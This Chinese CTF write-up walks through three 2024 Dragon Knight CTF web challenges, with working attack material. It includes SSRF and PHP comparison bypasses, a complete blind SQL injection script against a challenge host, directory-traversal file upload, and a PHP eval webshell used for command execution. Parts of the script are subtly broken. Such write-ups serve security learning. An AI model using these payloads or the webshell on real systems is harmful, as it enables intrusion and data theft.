2024Dragon Knight CTF复现web

穿梭隐藏的密钥

知识点:fuzz技术、ssrf、本地绕过、data伪协议、md4弱比较、数组绕过

首先看看页面的源代码,但是发现f12和鼠标右键都被禁用了

用ctrl+u查看,发现一个可疑页面

访问看看,发现还是只有一张图,查看源代码发现提示

扩展:

Fuzz:Fuzz是一种基于黑盒的自动化软件模糊测试技术,简单的说一种懒惰且暴力的技术融合了常见的以及精心构建的数据文本进行网站、软件安全性测试。

通过字典爆破向目标发送随机或精心构造的数据作为计算机输入,来触发非常规反馈以达到检测漏洞的目的。

Fuzz的核心思想:

  • 目录Fuzz(漏洞点)
  • 参数Fuzz(可利用参数)
  • PayloadFuzz(bypass)

常用工具:御剑、dirsearch、Arjun等

通过提示我们可以得知可能需要参数爆破,但是发现页面为图片,bp抓包也没发现能够爆破的位置 。猜测可能是需要爆破url,用御剑扫描

访问secret.php,发现需要本地(127.0.0.1)才能通过

用bp抓包,构造xff、client_ip、referer发现都不行

尝试ssrf伪造

?参数=http://127.0.0.1/secret.php

但是这里不知道参数是啥所以用Arjun爆破url

得到参数为shell

构造payload:

c3s4f.php?shell=http://127.0.0.1/secret.php

发现虽然成功了但是发现127.0.0.1并不行,可能是被正则禁用了

查看了一下官方的wp得知可以通过sudo.cc绕过

扩展:

sudo.cc指向IP地址127.0.0.1。A记录就是域名指向ip地址,然后可以通过A记录转向访问
类似的还有safe.taobao.com,114.taobao.com,test.xiaodi8.com等

成功得到key和下一关的入口

访问challeng3.php并且POST传参key=MSIBLG

成功进入下一关

// Challenge 1
if (isset($_GET['DrKn'])) {
    $text = $_GET['DrKn'];
    if(@file_get_contents($text) == $key) {
        echo "有点东西呢"."</br>".$key1."</br>";
    } else {
        die("貌似状态不在线啊(╯_╰)</br>");
    }
} 
//GET传参入一个Drkn=MSIBLG,得到key1

 构造payload:

cha11eng3.php?DrKn=data:text/plain,MSIBLG

key1=M_ore.8

// Challenge 2
if (isset($_GET[$key1])) {
    $damei = $_GET[$key1];
    if (hash("md4", $damei) == $damei) {
        echo "又近了一步呢,宝~"."</br>".$key2."</br>".$key3;
    } else {
        die("达咩哟~");
    }
} 
//md4弱比较得到key2

参考链接:[第四届-强网杯]:Funhash

科学计数法:

plaintext : 0e001233333333333334557778889
md4 hash : 0e434041524824285414215559233446

构造payload:

cha11eng3.php?DrKn=data:text/plain,MSIBLG&M_ore.8=0e001233333333333334557778889

 发现并没有第二层的回显猜测有可能是_划线被禁用了,用[绕过

payload:

cha11eng3.php?DrKn=data:text/plain,MSIBLG&M[ore.8=0e001233333333333334557778889

key2=wtf,key3=mC

// Challenge 3
if (isset($_POST[$key2]) && isset($_POST[$key3])) {
    $user = $_POST[$key2];
    $pass = $_POST[$key3];
  
    if (strlen($user) > 4 || strlen($pass) > 5) {
          die("还得练");
      }
     if ($user !== $pass && md5($user) === md5($pass)) {  
          echo "还不错哦"."$flag";
      }
      else {
          die("nonono") ;
      }
    }
//POST传入的key2的值的长度超过4或key3的值的长度超过5则输入"还得练"
//进行md5强比较得到flag

构造payload:

wtf[]=1&mC[]=2

得到flag

EzLogin

知识点:sql二次注入、盲注(cookie)、空格绕过

打开源代码查看发现提示有一个注册页面

访问

输入admin,123456尝试发现用户已存在

说明有一个admin用户,回到登入界面用bp抓包爆破密码发现用啥字典都爆不出来,猜测可能不是弱口令爆破换个思路。

cookie中一般会有用户的重要信息,用Hackbar查看一下网页的cookie

发现TOKEN=TOKEN=65794a3163325679626d46745a534936496d78706269497349434a306232746c62694936496d4d354d7a45324f5759785a574935596d55334d6a51325a6a6b354d4459354d4749315a545932596a4a6b49697767496d6c7a5832466b62576c75496a6f7766513d3d

放入Cyberchef里解密一下

可以看到注册的用户lin(在注册界面尝试时注册的)已经被放入cookie中,token的值是用md5加密的用户名,is_admin是判断用户是否为admin为0时登入则会显示“you are not admin!!!”

这里我们将0改为1并重新加密后添加到TOKEN中(先base64后16进制转换)

TOKEN=65794a3163325679626d46745a534936496d78706269497349434a306232746c62694936496d4d354d7a45324f5759785a574935596d55334d6a51325a6a6b354d4459354d4749315a545932596a4a6b49697767496d6c7a5832466b62576c75496a6f7866513d3d

再次登入,登入成功

尝试注册新的用户名但是发现登入还是这个界面,TOKEN值没变

改变TOKEN值,将用户名改变加密后再次带入TOKEN再次访问,发现页面变了

发现显示用户名没改,原来是token里的用户名没改,只改了TOKEN。

这时候我们试着判断是不是sql注入将用户名改为

lin' and 1=2#

{"username":"lin' and 1=2#", "token":"36147d74623b73489bfcc37c4f7153a2", "is_admin":1}

发现存在注入点但是应该被过滤了所以显示Hacker!!

感觉应该是空格被过滤了用 “ /**/ ” 绕过

{"username":"lin'/**/and/**/1=2#", "token":"2c82906aa4b07b321787b962c5a1e12d", "is_admin":1}

成功绕过,存在注入点。

用别的用户名尝试几次发现都是这两个界面,猜测这题可能需要sql盲注(只有正确和错误界面),注入点在TOKEN里的用户名里

尝试查看一下数据库长度发现数据库长度为五且发现admin账户的密码

接下来我们可以写个脚本注入(这里借鉴官方给的wp)

首先需要一个脚本来识别TOKEN和token里的用户名

def encode(payload):
    payload0 = payload
    md5pwd = hashlib.md5(payload0.encode()).hexdigest()    #把payload md5加密
    json_payload = f'{{"username":"{payload0}", "token":"{md5pwd}", "is_admin":1}}'

    encoded_payload = base64.b64encode(json_payload.encode()) #base64加密
    hexadecimal_payload = encoded_payload.hex()  #十六进制编码
    return hexadecimal_payload

完整脚本:

import base64
import hashlib
import requests

def encode(payload):
    payload0 = payload
    md5pwd = hashlib.md5(payload0.encode()).hexdigest()    #把payload md5加密
    json_payload = f'{{"username":"{payload0}", "token":"{md5pwd}", "is_admin":1}}'

    encoded_payload = base64.b64encode(json_payload.encode()) #base64加密
    hexadecimal_payload = encoded_payload.hex()  #十六进制编码
    return hexadecimal_payload

def ascii_str():  # 生成库名表名字符所在的字符列表字典
    str_list = []
    for i in range(33, 127):  # 所有可显示字符
        str_list.append(chr(i))
    #print('可显示字符:%s'%str_list)
    return str_list  # 返回字符列表


def db_length(url, str):
    print("[-]开始测试数据库名长度.......")
    num = 1
    while True:
        payload = f"admin'/**/and/**/length(database())={num}#"
        db_payload = encode(payload)
        cookies = {"TOKEN":db_payload}
        r = requests.get(url=url,cookies=cookies)
        if str in r.text:
            db_length = num
            print("[+]数据库长度:%d\n" % db_length)
            db_name(db_length)  # 进行下一步,测试库名
            break
        else:
            num += 1


def db_name(db_length):
    print("[-]开始测试数据库名.......")
    db_name = ''
    str_list = ascii_str()
    for i in range(1, db_length + 1):
        for j in str_list:
            payload = f"admin'/**/and/**/(ascii(substr(database(),{i},1))={ord(j)})#"
            db_payload = encode(payload)
            cookies = {"TOKEN": db_payload}
            r = requests.get(url=url, cookies=cookies)
            if str in r.text:
                db_name += j
                break
    print("[+]数据库名:%s\n" % db_name)
    tb_piece(db_name)  # 进行下一步,测试security数据库有几张表
    return db_name


def tb_piece(db_name):
    global tb_piece
    print("开始测试%s数据库有几张表........" % db_name)
    for i in range(10):  # 猜解库中有多少张表,合理范围即可
        payload = f"admin'/**/and/**/{i}=(Select/**/Count(Table_name)/**/From/**/Information_schema.tables/**/Where/**/table_schema='{db_name}')#"
        tb_payload = encode(payload)
        cookies = {"TOKEN": tb_payload}
        r = requests.get(url=url, cookies=cookies)
        if str in r.text:
            tb_piece = i
            break
    print(f"[+]{db_name}库一共有{tb_piece}张表\n")
    tb_name(db_name, tb_piece)  # 进行下一步,猜解表名


def tb_name(db_name, tb_piece):
    print("[-]开始猜解表名.......")
    table_list = []
    for i in range(tb_piece):
        str_list = ascii_str()
        tb_length = 0
        tb_name = ''
        for j in range(1, 20):  # 表名长度,合理范围即可
            payload = f"admin'/**/and/**/(Select/**/length(table_name)/**/from/**/Information_schema.tables/**/Where/**/table_schema=database()/**/limit/**/{i},1)={j}#"
            tb_payload = encode(payload)
            cookies = {"TOKEN": tb_payload}
            r = requests.get(url=url, cookies=cookies)
            if str in r.text:
                tb_length = j
                print("第%d张表名长度:%s" % (i + 1, tb_length))
                for k in range(1, tb_length + 1):  # 根据表名长度进行截取对比
                    for l in str_list:
                        payload = f"admin'/**/and/**/(Select/**/ascii(substr((Select/**/table_name/**/from/**/Information_schema.tables/**/Where/**/table_schema=database()/**/limit/**/{i},1),{k},1)))={ord(l)}#"
                        tb_payload = encode(payload)
                        cookies = {"TOKEN": tb_payload}
                        r = requests.get(url=url, cookies=cookies)
                        if str in r.text:
                            tb_name += l
                print("[+]:%s" % tb_name)
                table_list.append(tb_name)
                break
    print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
    column_num(table_list, db_name)  # 进行下一步,猜解每张表的字段数


def column_num(table_list, db_name):
    print("[-]开始猜解每张表的字段数:.......")
    column_num_list = []
    for i in table_list:
        for j in range(60):  # 每张表的字段数量,合理范围即可
            payload =f"admin'/**/and/**/{j}=(Select/**/count(column_name)/**/from/**/Information_schema.columns/**/Where/**/table_name='{i}')#"
            column_payload = encode(payload)
            cookies = {"TOKEN": column_payload}
            r = requests.get(url=url, cookies=cookies)
            if str in r.text:
                column_num = j
                column_num_list.append(column_num)  # 把所有表的字段,依次放入这个列表当中
                print("[+]%s表\t%s个字段" % (i, column_num))
                break
    print("\n[+]表对应的字段数:%s\n" % column_num_list)
    column_name(table_list, column_num_list, db_name)  # 进行下一步,猜解每张表的字段名


def column_name(table_list, column_num_list, db_name):
    print("[-]开始猜解每张表的字段名.......")
    column_length = []
    str_list = ascii_str()
    column_name_list = []
    for t in range(len(table_list)):  # t在这里代表每张表的列表索引位置
        print("\n[+]%s表的字段:" % table_list[t])
        for i in range(column_num_list[t]):  # i表示每张表的字段数量
            column_name = ''
            for j in range(1, 21):  # j表示每个字段的长度
                payload = f"admin'/**/and/**/{j-1}=(Select/**/length(column_name)/**/from/**/Information_schema.columns/**/Where/**/table_name='{table_list[t]}'/**/limit/**/{i},1)#"
                column_name_length = encode(payload)
                cookies = {"TOKEN": column_name_length}
                r = requests.get(url=url, cookies=cookies)
                if str in r.text:
                    column_length.append(j)
                    break
                for k in str_list:  # k表示我们猜解的字符字典
                    payload = f"admin'/**/and/**/ascii(substr((Select/**/column_name/**/from/**/Information_schema.columns/**/Where/**/table_name='{table_list[t]}'/**/limit/**/{i},1),{j},1))={ord(k)}#"
                    column_payload = encode(payload)
                    cookies = {"TOKEN": column_payload}
                    r = requests.get(url=url, cookies=cookies)
                    if str in r.text:
                        column_name += k
            print('[+]:%s' % column_name)
            column_name_list.append(column_name)
    # print(column_name_list)#输出所有表中的字段名到一个列表中
    dump_data(table_list, column_name_list,)  # 进行最后一步,输出指定字段的数据


def dump_data(table_list,column_name_list,url,str):
    print("[-]开始爆破字段内容:")
    for l in range(1, 50):  # l表示每条数据的长度,合理范围即可
        for k in range(32,127):
            payload = f"admin'/**/and/**/Ascii(Substr((Select/**/{column_name_list[0]}/**/from/**/{table_list[0]}/**/limit/**/0,1),{l},1))={k}#"
            data_len_payload = encode(payload)
            cookies = {"TOKEN": data_len_payload}
            r = requests.get(url=url, cookies=cookies)
            if (str in r.text):
                character = chr(k)
                print(character,end="")
                break
            #r.text:响应内容的字符串形式


if __name__ == '__main__':
    url = "http://challenge.qsnctf.com:30041/home.php"  # 目标url
    str = "@q^4*!z8a9-%42z.s~"
    db_length(url, str)

爆到这里时由于user表字段数较多,另一个表更可能含有flag所以我们可以跳过user的查看

if __name__ == '__main__':
    url = "http://challenge.qsnctf.com:30041/home.php"  # 目标url
    str = "@q^4*!z8a9-%42z.s~"
    table_list=["secret"]
    column_num(table_list, db_name)

得到一个flag列和sseeccrreett列

分别查看

if __name__ == '__main__':
    url = "http://challenge.qsnctf.com:30041/home.php"  # 目标url
    str = "@q^4*!z8a9-%42z.s~"
    table_list=["secret"]
    column_name_list=["sseeccrreett"]
    dump_data(table_list,column_name_list,url,str)

最终在sseeccrreett列得到flag:flag{aa9a14ed7c154b02bb8d41343344aa07}

ezsign

知识点:$_SERVER['REMOTE_ADDR']、代码审计、文件上传、目录穿越

进去是一个登入界面输入admin密码123456发现直接就进入了,是一个留言板界面

看到留言板尝试一下有没有xss漏洞

发现成功弹窗了存在xss漏洞,尝试用BlueLotus弹一下cookie发现没有得到cookie。用{{7*7}}尝试并没有得到49不是ssti注入。所以应该都不是。

尝试用御剑扫一下网站(实在不知道干嘛了扫下试试)

发现扫到了一个文件上传的页面和一个bak文件

访问文件上传的页面进去是一个上传失败,下载bak文件打开看看发现一串代码

<?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if($token){
    extract($_GET);
    $token = base64_decode($token);
    $token = json_decode($token, true);


    $username = $token['username'];
    $password = $token['password'];
    $isLocal = false;
    
    if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
        $isLocal = true;
    }

    if($isLocal){
        echo 'Welcome Back,' . $username . '!';
        //如果 upload 目录下存在$username.png文件,则显示图片
        if(file_exists('upload/' . $username . '/' . $token['filename'])){
            // 显示图片,缩小图片
            echo '<br>';
            echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
        } else {
            echo '请上传您高贵的头像。';
            // 写一个上传头像的功能
            $html = <<<EOD
            <form method="post" action="upload.php" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <input type="submit" value="Upload">
            </form>
            EOD;
            echo $html;
        }
    } else {
        // echo "留个言吧";
        $html = <<<EOD
        <h1>留言板</h1>
        <label for="input-text">Enter some text:</label>
        <input type="text" id="input-text" placeholder="Type here...">
        <button onclick="displayInput()">Display</button>
        EOD;
        echo $html;
    }
} else {
    $html = <<<EOD
<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <h2>Login</h2>
    <form method="post" action="./login.php">
        <div>
            <label for="username">Username:</label>
            <input type="text" name="username" id="username" required>
        </div>
        <div>
            <label for="password">Password:</label>
            <input type="password" name="password" id="password" required>
        </div>
        <div>
            <input type="submit" value="Login">
        </div>
    </form>
</body>
</html>
EOD;
    echo $html;
}
?>

<script>
    function displayInput() {
      var inputText = document.getElementById("input-text").value;
      document.write(inputText)
    }
</script>

可以发现有一个变量覆盖函数extract($_GET);

根据代码我们可以得知当系统变量$_SERVER['REMOTE_ADDR']=127.0.0.1时才可以进入文件上传的界面

补充:

$_S​ERVER[′REMOTE_A​DDR′]是一个在PHP中用来获取访问者的IP地址的超级全局变量。这个变量包含了当前请求的远程IP地址。它是服务器自动全局可访问的变量之一,可以在任何地方通过访问

 利用extract($_GET)这一点,我们可以直接在url里将$_S​ERVER[′REMOTE_A​DDR′]=127.0.0.1

?_SERVER[REMOTE_ADDR]=127.0.0.1

# _SERVER[REMOTE_ADDR] 并不是一个真正的 $_SERVER 数组中的元素,而是一个由 extract($_GET) 创建的普通变量。

进入文件上传界面,但是并没有发现上传文件的地方

上传一句话木马文件查看但是并没有返回路径

再次访问可以发现已经显示图片,查看源代码

上传的文件路径为upload/[username]/[filename]

访问文件路径看看,可以发现被解析为text/plain

猜测在admin目录下的文件会被解析为text/plain

由于bak文件中规定了

所以上传的文件一定会被上传到upload/[username]目录导致文件不被解析(出题者在upload目录放了一个.htaccess文件导致php无法被解析)

此时我们可以考虑用目录穿越将文件上传至网站的根目录var/www/html从而绕过upload这个目录。

将token里的username改为../../html

 {"username":"../../html","password":"","filename":"shell.php"}

base64加密后再次带回token运行此时回到文件上传界面,这时再次传入一句话木马文件

 

这时候会发现shell.php在html目录下

<?php
    @eval($_POST["shell"]);
?>

直接访问shell.php,并进行rce

用cat读取文件得到flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/688620.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

短视频的景别:成都鼎茂宏升文化传媒公司

短视频的景别&#xff1a;探索视觉艺术的魅力 在短视频的浩瀚海洋中&#xff0c;每一个画面都承载着独特的情感和信息。这些画面&#xff0c;通过不同的景别展现&#xff0c;构成了短视频的叙事基础和视觉美感。成都鼎茂宏升文化传媒公司旨在探讨短视频中景别的运用&#xff0…

揭露:抖音外卖区域代理骗局真相,绝不可错过!

自2023年11月23日抖音发布清退服务商的公告后&#xff0c;由官方认证的抖音外卖平台全国代理正式成为历史&#xff0c;而后&#xff0c;抖音外卖平台区域代理接棒&#xff0c;帮助抖音开拓本地生活市场。在此背景下&#xff0c;抖音外卖平台区域代理的申请人数与日俱增&#xf…

AIConnect赋能加持丨AI+DEPIN 共同推动AI发展的技术与运用峰会圆满落幕

6月6日&#xff0c;由AIConnect主办&#xff0c;JuCoin协办的「AIDePIN 共同推动AI发展的技术与应用」峰会在胡志明市圆满落幕&#xff01;此次活动不仅是AIConnect生态在市场推广和技术应用方面的重要一步&#xff0c;也标志着JuCoin在推动AI与DePIN技术融合中的又一里程碑。 …

算法金 | 这次终于能把张量(Tensor)搞清楚了!

大侠幸会&#xff0c;在下全网同名[算法金] 0 基础转 AI 上岸&#xff0c;多个算法赛 Top [日更万日&#xff0c;让更多人享受智能乐趣] 1. 张量&#xff08;Tensor&#xff09;基础概念 1.1 张量的定义与重要性 张量是深度学习中用于表示数据的核心结构&#xff0c;它可以视…

K8s存储对象的使用

背景和概念 容器中的文件在磁盘上是临时存放的&#xff0c;这给在容器中运行较重要的应用带来一些问题&#xff1a; 当容器崩溃或停止时&#xff0c;此时容器状态未保存&#xff0c; 因此在容器生命周期内创建或修改的所有文件都将丢失。另外 在崩溃期间&#xff0c;kubelet 会…

javaWeb4 Maven

Maven-管理和构建java项目的工具 基于POM的概念 1.依赖管理&#xff1a;管理项目依赖的jar包 &#xff0c;避免版本冲突 2.统一项目结构&#xff1a;比如统一eclipse IDEA等开发工具 3.项目构建&#xff1a;标准跨平台的自动化项目构建方式。有标准构建流程&#xff0c;能快速…

VS2019创建c++动态链接库dll与调用方法

VS2019创建c动态链接库dll与调用方法 1.点击文件-》新建-》项目&#xff0c;输入dll,选择具有导出项的(DLL)动态链接库 2.输入一个文件名&#xff1a;dll2 头文件.h 3.添加加减法函数&#xff1a; // 下列 ifdef 块是创建使从 DLL 导出更简单的 // 宏的标准方法。此 DLL 中的…

【高频】什么是索引的下推和覆盖

面试回答&#xff1a; 索引的下推是指数据库引擎在执行查询时&#xff0c;将过滤条件尽可能地应用到索引上&#xff0c;以减少需要检索的数据量&#xff0c;从而提高查询性能。这样可以减少数据库引擎从磁盘加载的数据量&#xff0c;提高查询效率。覆盖索引是指一个索引包含了…

C++青少年简明教程:C++函数

C青少年简明教程&#xff1a;C函数 C函数是一段可重复使用的代码&#xff0c;用于执行特定的任务&#xff0c;可以提高代码的可读性和可维护性。函数可以接受参数&#xff08;输入&#xff09;并返回一个值&#xff08;输出&#xff09;&#xff0c;也可以没有参数和返回值。 …

范闲获取到庆帝与神庙的往来信件,用AES进行破解

关注微信公众号 数据分析螺丝钉 免费领取价值万元的python/java/商业分析/数据结构与算法学习资料 在《庆余年2》中&#xff0c;范闲与庆帝和神庙之间的权谋斗争愈演愈烈。一次偶然的机会&#xff0c;范闲从庆帝的密室中获取到几封与神庙往来的密信。然而&#xff0c;这封信件…

算法-分治策略

概念 分治算法&#xff08;Divide and Conquer&#xff09;是一种解决问题的策略&#xff0c;它将一个问题分解成若干个规模较小的相同问题&#xff0c;然后递归地解决这些子问题&#xff0c;最后合并子问题的解得到原问题的解。分治算法的基本思想是将复杂问题分解成若干个较…

电源变压器的作用和性能

电源变压器的主要作用是改变输入电压的大小&#xff0c;通常用于降低电压或升高电压&#xff0c;以便适应不同设备的需求。它们还可以提供隔离&#xff0c;使得输出电路与输入电路之间电气隔离&#xff0c;从而提高安全性。性能方面&#xff0c;电源变压器需要具有高效率、低温…

二叉树-堆的详解

一&#xff0c;树的概念 1&#xff0c;树的概念 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。 把它叫做树是因为它看起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的。 有…

小学一年级数学上册,我终于学完了

目录 一、背景二、过程1.我对课程中的一些知识的思考2.我对于产品的思考3.我对自己儿子与知识产品结合的思考4.产品反馈的那些有意思的数据 三、总结 一、背景 简约而不简单&#xff0c;即是曾经的再现&#xff0c;也是未来的延伸&#xff0c;未来已来&#xff0c;就在脚下。 …

泛微开发修炼之旅--10基于Ecology实现附件上传,并将上传后的文件id存入表单附件控件中的示例及源码

文章链接&#xff1a;泛微开发修炼之旅--10基于Ecology实现附件上传&#xff0c;并将上传后的文件id存入表单附件控件中的示例及源码

微信如何防止被对方拉黑删除?一招教你解决!文末附软件!

你一定不知道&#xff0c;微信可以防止被对方拉黑删除&#xff0c;秒变无敌。只需一招就能解决&#xff01;赶快来学&#xff01;文末有惊喜&#xff01; 惹到某些重要人物&#xff08;比如女朋友&#xff09;&#xff0c;被删除拉黑一条龙&#xff0c;那真的是太令人沮丧了&a…

如何快速学习掌握PMP考试知识?

要快速学习掌握PMP考试知识&#xff0c;有几个关键的步骤和方法可以帮助大家有效地准备考试。 首先&#xff0c;建议你购买一本权威的PMP考试教材&#xff0c;例如PMBOK指南。这本教材是PMP考试的权威指南&#xff0c;包含了所有考试所需的知识点和内容。你可以通过系统地阅读…

Unity3D测量距离实现方法(一)

系列文章目录 unity工具 文章目录 系列文章目录&#x1f449;前言&#x1f449;一、Unity距离测量1-1 制作预制体1-2 编写测量的脚本 &#x1f449;二、鼠标点击模型进行测量&#x1f449;二、字体面向摄像机的方法&#x1f449;二、最短距离测量方法&#x1f449;三、壁纸分享…

【WP】猿人学_16_js逆向_window蜜罐

https://match.yuanrenxue.cn/match/16 抓包分析 荷载一个加密参数&#xff0c;一个时间戳 时间: 2024-06-07 15:52:31时间戳: 1717746751 1717746751000时间戳和现在对得上&#xff0c;直接生成就行。 追栈 追栈找m的生成位置。 点进去打断点&#xff0c;重新点击其他…

算法导论实战(三)(算法导论习题第二十四章)

&#x1f308; 个人主页&#xff1a;十二月的猫-CSDN博客 &#x1f525; 系列专栏&#xff1a; &#x1f3c0;算法启示录 &#x1f4aa;&#x1f3fb; 十二月的寒冬阻挡不了春天的脚步&#xff0c;十二点的黑夜遮蔽不住黎明的曙光 目录 前言 第二十四章 24.1-3 24.1-4 2…